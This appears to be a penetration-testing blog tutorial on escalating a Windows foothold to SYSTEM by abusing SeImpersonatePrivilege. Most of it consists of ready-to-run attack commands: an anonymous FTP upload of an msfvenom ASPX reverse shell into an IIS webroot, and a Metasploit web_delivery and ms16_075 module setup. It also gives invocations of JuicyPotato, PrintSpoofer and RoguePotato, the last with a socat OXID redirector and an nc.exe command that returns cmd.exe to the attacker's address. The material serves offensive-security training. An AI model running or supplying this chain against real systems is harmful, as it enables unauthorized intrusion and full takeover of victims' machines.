In this post we will be exploring multiple techniques that can be used to abuse the SeImpersonate privilege. We will begin by reviewing a scenario where we will obtain a foothold on a Windows 10 machine as the iisapppool service account after exploiting a misconfigured FTP server. From there, we will enumerate the account’s permissions to find that it has SeImpersonatePrivilege enabled, which we will utilize to escalate our privileges to local SYSTEM by performing a Potato attack with JuicyPotato.exe.
Additionally, we will go over how we can perform this exploit using the Juicy Potato module in Metasploit.
Finally, we will see how we can abuse the SeImpersonate privilege using two additional tools: Rogue Potato and PrintSpoofer to obtain a SYSTEM shell on a Server 2019 machine.
By default, members of the local Administrators group as well as any local Service accounts are assigned the “Impersonate a client after authentication” user right (SeImpersonatePrivilege).
An account that has the SeImpersonate privilege enabled has the ability to impersonate another client after authentication. This means that this privilege allows the account to impersonate other accounts, so long as they have authenticated. Whenever a user authenticates to a host, a token (logon sessions inside the LSASS process) resides on the system until the next restart.
With an understanding of what this privileges allows us to do, we as an attacker need to think: “What are the required conditions to impersonate an administrative account when the SeImperonsate privilege is enabled?”
Lets find out!
Scenario: Gaining a Foothold Exploiting a Misconfigured Web Server / FTP Server
To add some context to this post, we will quickly review an example scenario that involves a misconfigured FTP server. We will take advantage of this misconfiguration to create an exploit chain that allows us to get a reverse shell from the web server; and as a result, a foothold as the built-in Internet Information Services (IIS) service account: iisapppool.
Running the following nmap scan, we can observe that FTP is open on port 21 and allows anonymous access. We can also see there is an IIS web server running on port 80:
nmap -A -sV -sC -T4 172.16.1.50 -p- -oN tcp.nmap
Reviewing this nmap scan, we can also see that the files in the FTP server look like they belong to the web server. This means that the FTP server is likely running out of the webroot!
This is a JUICY finding!
At this point, the first thing we should do is try logging into the FTP server anonymously and test if we have the ability to write in it. If we can write in the FTP server, we will likely be able to exploit this to get a reverse shell quite easily.
Before we log into the FTP server, we need to craft a TXT file that we can test uploading to the FTP server. This will provide our POC when we try to open the file on the web server from the browser.
echo 'testing for hax!' > test.txt
Now that we have that ready, we can connect to the FTP server and login using the credentials anonymous : anonymous.
ftp 172.16.1.50
The password does not need to be anonymous and can actually be anything.
After successfully logging in and establishing an anonymous session, we can test using the put command to upload our test.txt file onto the FTP server.
Awesome! We were able to upload our file onto the FTP server.
Now we can attempt to navigate to the text file in the browser; and if the webroot is where our file landed, it will “execute” on the web server.
Now we are in business! Since we were able to confirm that the FTP server is running out of the webroot, we can proceed to upload a malicious file and then execute it to get a reverse shell on this host.
Since we are dealing with a modern version of IIS, the filetype we will need to craft for our exploit is ASPX.
For older versions of IIS, we would craft an ASP exploit.
To craft our malicious ASPX file we will use msfvenom.
From the nmap scan it was observed that the target is running IIS 10 and was fingerprinted to be Windows 10 build 17134. Now, this is likely not 100% accurate but it gives us an idea about what we are working with; and more importantly, it suggests that this system is modern and likely has an x64 arch. With that in mind, we will craft our exploit specifically targeting a 64-bit architecture. If that does not work, we circle back and test a 32-bit exploit.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=80 -a x64 --platform Windows -f aspx -o shell.aspx
I decided to use port 80 for the shell in this example. You will commonly see me using port 443 / 80 / 445 / 21 and that is due to the fact that these ports generally allow outbound access through the firewall. If we use an arbitrary port like ‘4444’, we could get stuffed by the firewall and then falsely assume that the exploit is not working.
Our exploit is now ready to go, we just need to start a netcat listener on port 80 and then head back to our FTP session and use the put command to upload our malicious ASPX file to the web server.
With the exploit in the webroot, we can execute this in one of two ways: Directly in the browser or using the cURL command.
To execute this script in the browser, just navigate to it like so: http://172.16.1.50/shell.aspx or use the following cURL command:
curl 172.16.1.50/shell.aspx
Checking back on our listener after executing the file using either method, we should have a shell as the user iisapppool.
Enumerating Privileges to Find SeImpersonatePrivilege is Enabled
Having established a foothold on the target system, we can start with some quick manual enumeration to get an idea of what we are working with.
The first command you should run on a victim host is whoami to determine what user you are. The next command that should be ran is whoami /priv to determine which privileges have been assigned to this account.
Here we can see that the account has the SeImpersonatePrivilege enabled, which is a huge finding!
You should definitely get excited when you find this privilege enabled!
We can also see above that SeAssignPrimaryTokenPrivilege has been outlined. This is due to the fact both of these privileges are actually exploitable in the same way.
Service accounts and elevated accounts will have both SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilge by default. It should be mentioned that BOTH of these privileges can be used for the attacks below. It is more likely to find SeImpersonatePrivilege without SeAssignPrimaryTokenPrivilge than the other way around. Also, SeImpersonatePrivilege is enabled by default which is why out of the two, we generally focus on this privilege.
Impersonating the Local SYSTEM Account with Juicy Potato
From a high-level overview, a potato attack does the following:
- Trick the “NT AUTHORITY\SYSTEM” account into authenticating via NTLM to a TCP endpoint we control (authenticating to a spoofed RPC server)
- Man-in-the-middle this authentication attempt (NTLM relay) to locally negotiate a security token for the “NT AUTHORITY\SYSTEM” account. This is done through a series of Windows API calls (interacting with LSASS).
- Impersonate the token we have just negotiated, given the account has the privileges to do so.
If you are interested in the finer details on how this attack works, check out the full detailed report for the original exploit here.
The Windows OS versions that are affected by this vulnerability include:
- Windows 7 Enterprise
- Windows 8.1 Enterprise
- Windows 10 Enterprise
- Windows 10 Professional
- Windows Server 2008 R2 Enterprise
- Windows Server 2012 Datacenter
- Windows Server 2016 Standard
IMPORTANT: Juicy Potato attacks do NOT work on Windows 10 versions equal to or greater than 1809; and does NOT work on Server2019 at all!
Abusing SeImpersonatePrivilege: JuciyPotato.exe
When we use JuicyPotato.exe to exploit this vulnerability, it will create a security token for the local SYSTEM account and then impersonate that token to execute a command that we specify.
Grab a copy of JuicyPotato.exe from this GitHub repo here – just note that this is a 64-bit executable. If you need a 32-bit version, you can find that here.
Alright, now that we have our JP executable on our attacker machine, we need to determine the OS version running on our victim using the following command:
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
Here we can see that this is a Windows 10 Professional – Build 17134. It is important to note that ‘build’ and ‘version’ are two different things. If we look at this chart here, we can actually see that Build 17134 is version 1803. Since 1803 < 1809, this host should be vulnerable given it has not been patched for this.
Now we need something to execute as SYSTEM. There is a number of ways to exploit this, but for this example, we will craft an EXE using msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=80 -a x64 --platform Windows -f exe -o shell.exe
At this point we should have both JuicyPotato.exe and shell.exe in our working directory ready to send to our victim machine.
Download both files onto the victim using any one of the techniques found in this post on Windows file transfers here.
Start a netcat listener on port 80 as per the exploit we made, and then execute shell.exe using JuicyPotato.exe, like so:
C:\temp\JuicyPotato.exe -t * -p C:\temp\shell.exe -l 443
If we see that the process was created successfully, we should have a SYSTEM shell back on our listener.
Troubleshooting JuicyPotato Error’s
It needs to be mentioned that this exploit will not always work with the default CLSID (number in the curly braces).
Sometimes it can be a matter of testing the exploit a few times if it fails and then it will work. For example, when I was testing the exploit for this post, it took me 3 attempts for it to work, the first two attempts failed.
Other times, we might find trying it 4, 5, 6+ times that it still won’t work! Don’t fret, there is a way to try harder and that is by supplying a CLSID into the command, as it is likely that the default one is not working.
Navigating to this link here, we can view a list of potential CLSIDs that we can try for various OS’. Since we found that our victim is running Windows 10 Pro, we can head to the appropriate link.
After clicking the link, we will see a long list of potential CLSIDs that we can test to try and get this exploit to work. We want to focus on the ones for the user NT AUTHORITY\SYSTEM.
From this list, we do not want to do a top down approach right away. We want to find the BITS CLSIDs and test those first. Then if those don’t work, we can then proceed with a top down approach.
To test different CLSIDs, we need to change our command to include the CLSID we want to test. For example:
C:\temp\JuicyPotato.exe -t * -p C:\temp\shell.exe -l 443 -c "{6d18ad12-bde3-4393-b311-099c346e6df9}"
Note the double quotes around the CLSID – those are needed or else the command will NOT execute.
Abusing SeImpersonatePrivilege: Metasploit Module
In addition to the manual method for this attack, there is also a Metasploit module for JuicyPotato.
On our attacker machine, we can start up Metasploit with the following command:
msfconsole -q
Once started, we can setup a web delivery payload to get a meterpreter shell. This will be easier then crafting a meterpreter payload with msfvenom and sending it to the victim. Since we already have a foothold, this method will provide a PowerShell command that we can copy and paste right in the victim shell to get a meterpreter session without downloading any files on the victim.
use exploit/multi/script/web_delivery
Four things we need to change here, PAYLOAD, LHOST, LPORT, and TARGET.
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.1.30
set LPORT 80
set TARGET 2
When we run show options this time, it should look like this:
Now we type exploit and it will give us an encoded PowerShell 1-liner to run on the victim to get a meterpreter session.
After pasting the command into the victim shell, we will see a meterpreter session check in.
From here, we could drop into the meterpreter shell by using the command sessions -i 1; however, we just need to keep that session number handy so that we can add it to the options for the JuicyPotato module.
From a meterpreter prompt we can check our privilegess the same way we did with whoami /priv using the command getprivs.
There are two Potato attack modules on Metasploit, both can be found using the following command:
search ms16_075
We’ll use the second one for this example since it explicitly says “Juicy”. The first one is actually RottenPotato, which is an older, less effective potato attack.
use exploit/windows/local/ms16_075_reflection_juicy
Again, a few options to edit include: PAYLOAD, SESSION, LHOST, and LPORT (needs to be different from initial exploit). Additionally, if the exploit fails using the default CLSID, we can replace it with ones from the list we saw earlier until it works.
If we lookup the default CLSID in the options above against the list of CLSIDs in the link, we will find that it is one of the BITS CLSIDs.
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set SESSION 1
set LHOST 172.16.1.30
set LPORT 443
When we run show options this time, it should look like this:
This time when we type exploit it runs the potato attack and a second meterpreter session checks-in – this is our privileged session!
Impersonating the Local SYSTEM Account with PrintSpoofer
Unfortunately, Microsoft made some core changes to the Windows 10 operating system when Server 2019 was released. As a result, Windows 10 operating systems from version 1809 onwards are no longer exploitable using Juicy Potato.
The changes that were implemented affect an attackers ability to make a COM connection to a spoofed service, as the connection is now only permitted on TCP port 135. This means that an attacker can no longer authenticate to their spoofed service as SYSTEM to create a token they can impersonate, effectively rendering Juicy Potato useless.
Fortunately for us, as a result of Juicy Potato being dead, a very smart person known as itm4n got to work and discovered the exploit PrintSpoofer.
PrintSpoofer works differently than the traditional Potato attacks, as it actually exploits the system utilizing an old technique involving named pipes along with the Print Spooler service.
Due to this exploit using an entirely different technique than potato attacks, a cool thing that resulted from this discovery is that this exploit actually works on all versions of Server 2016 and Server 2019, as well as every version of Windows 10 from at least 1607 onwards.
Windows Server 2016 starts at version 1607
To get a full run-down on how this exploit works, you can find the write up here.
Abusing SeImpersonatePrivilege: PrintSpoofer.exe
Piggy-backing off of the scenario we used to get a foothold (FTP server + web server chained exploit), let’s see what happens when we get a shell as iisapppool, except this time the target is running Windows Server 2019.
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
Checking the version of the operating system, we find that this is a Server 2019 machine, which means Juicy Potato will NOT work here.
Fortunately for us, we can leverage PrintSpoofer.exe to elevate our privileges to SYSTEM. Best of all, this exploit drops us right into a SYSTEM shell directly inside our current shell. This means we won’t require a malicious file to execute as SYSTEM, we just need PrintSpoofer.exe and we are all set.
Grab a copy of the 64-bit and 32-bit version of PrintSpoofer.exe from this repo here.
After downloading the exploit onto the victim, we can execute it and drop into a SYSTEM shell with the following command:
.\PrintSpoofer64.exe -i -c cmd
Troubleshooting PrintSpoofer Error’s
There have been times where this exploit has not worked for me when I was very confident that it should. Whenever I ran the exploit it would look like this:
It would execute, but nothing would happen. Then, when setting up my lab for this attack, this was happening again.
After attempting to run the exploit from GUI on the lab machine, it was observed that VCRUNTIME140.dll was missing, which comes packaged with Visual Studio.
Since we cannot see this pop-up box from a reverse shell, we can check if it’s on the system with the following command:
dir C:\Windows\System32 | findstr -i "vcruntime140.dll"
If the output comes up empty, then we know there is a good chance that this is the reason why PrintSpoofer is failing.
How can we fix this? — well, I would not suggest downloading this DLL from the internet as you cannot download it directly from Microsoft – as far as I know anyways. Instead, download Visual Studio onto a lab machine if you haven’t already done so, and then copy the DLL over to your attacker machine.
After transferring a copy of vcruntime140.dll to our attacker machine, we can download it onto the victim machine.
We will not be able to move the file to the default location of C:\Windows\System32 as the iisapppool account, but if we keep the DLL and the exploit together in the same folder, it should work.
Impersonating the Local SYSTEM Account with Rogue Potato
Due to the changes made to the OXID resolver, which is part of the “rpcss” service and runs on port 135, Windows 10 and Windows Server 2019 from version 1809 onwards are no longer able to query the OXID resolver on a port different than 135. This was a key part in how Juicy Potato worked.
Additionally, if we specify a remote OXID resolver, the request will be processed with an ANONYMOUS LOGON and not SYSTEM. So even if we found a way to bypass the OXID resolver issue, we would still result in an unprivileged shell when we connect to our spoofed service.
The solution: we can spoof the local OXID resolver from our attacker machine so that the connection is redirected to us and does not appear to be remote. Then, as long as we specify that our spoofed server runs on port 135, then we can effectively bypass the “protection” and successfully authenticate as SYSTEM like we used to with Juicy Potato.
Thankfully due to the research done to find the PrintSpoofer exploit, that technique was spliced with the technique from the original potato attacks and that is when the newest member of the potato family was born: Rogue Potato
For a full understanding of how Rogue Potato works, check out the full write up here.
Rogue Potato utilizes the same technique as the original potato attacks; however, changes were made to how the attack works to account for the updates that ere made to the Windows 10 / Server 2019 OS from version 1809 onwards. For this reason – in my own personal experience – this exploit only works on versions of Windows after the changes took place (1809+).
Abusing SeImpersonatePrivilege: RoguePotato.exe
For this example, we will continue from our initial foothold in the last example on a Windows Server 2019 machine.
To abuse Rogue Potato, we need to begin by setting up a spoofed OXID resolver on our attacker machine to redirect the request. This can be accomplished using socat and the following command:
socat tcp-listen:135,reuseaddr,fork tcp:172.16.1.10:9999
Note that the IP address in the above command is the victim IP.
With that setup on our attacker machine, we need to grab a copy of RoguePotato.exe and send it to our victim.
Grab a copy of RoguePotato.exe from this GitHub repo here.
After downloading the exploit onto our attacker machine and transferring it onto the victim, we are just about ready to use this exploit.
Since this works similar to Juicy Potato, we need to execute something as SYSTEM. For this example, instead of popping our malicious shell.exe file again like we did with juicy, lets have a look at how we can exploit this and send back a reverse shell using netcat.
Last thing we need to do is start a netcat listener on our attacker machine to catch the SYSTEM shell. Once that’s set, we can execute Rogue Potato with the following command:
.\RoguePotato.exe -r 172.16.1.30 -e "C:\temp\nc.exe 172.16.1.30 443 -e cmd.exe" -l 9999
And back on our listener, we should have a SYSTEM shell!
Troubleshooting RoguePotato Error’s
Just like when we used Juicy Potato, we can set which CLSID to use rather than using the default. If the default CLSID is not working, we can specify which CLSID to use by referencing the list from the Juicy Potato section above. For Rogue Potato, whether we are on a Server 2019 or Windows 10 victim, we can use CLSIDs from the Windows 10 Pro list.
To test a specific CLSID, we can use the -c switch, like so:
.\RoguePotato.exe -r 172.16.1.30 -e "C:\temp\nc.exe 172.16.1.30 443 -e cmd.exe" -l 9999 -c "{6d18ad12-bde3-4393-b311-099c346e6df9}"
Final Thoughts
That was a long one! However, we covered a lot of great tools and techniques. These attacks are quite technical under the hood but they are extremely powerful and easy to perform. I would suggest reading the write-up’s from the links above for each technique to better understand how this attack works. I only explained it briefly enough to get a high-level understanding before showing the attacks in action.
Lets quickly recap:
- When you land on a Windows 10 target, use the command whoami /priv to find the SeImpersonatePrivilege enabled.
- Enabled by default on service accounts.
- Use the systeminfo command to find the Windows version running.
- Windows 7 – Windows 10 / Server 2016 version 1803 –> Juicy Potato
- Windows 10 / Server 2016 version 1607 – Windows 10 / Server 2019 present –> Print Spoofer
- Windows 10 / Server 2019 version 1809 – present –> Rogue Potato
Beyond privilege escalation, the SeImpersonatePrivlege also plays a big role in lateral movement when hacking in an Active Directory environment.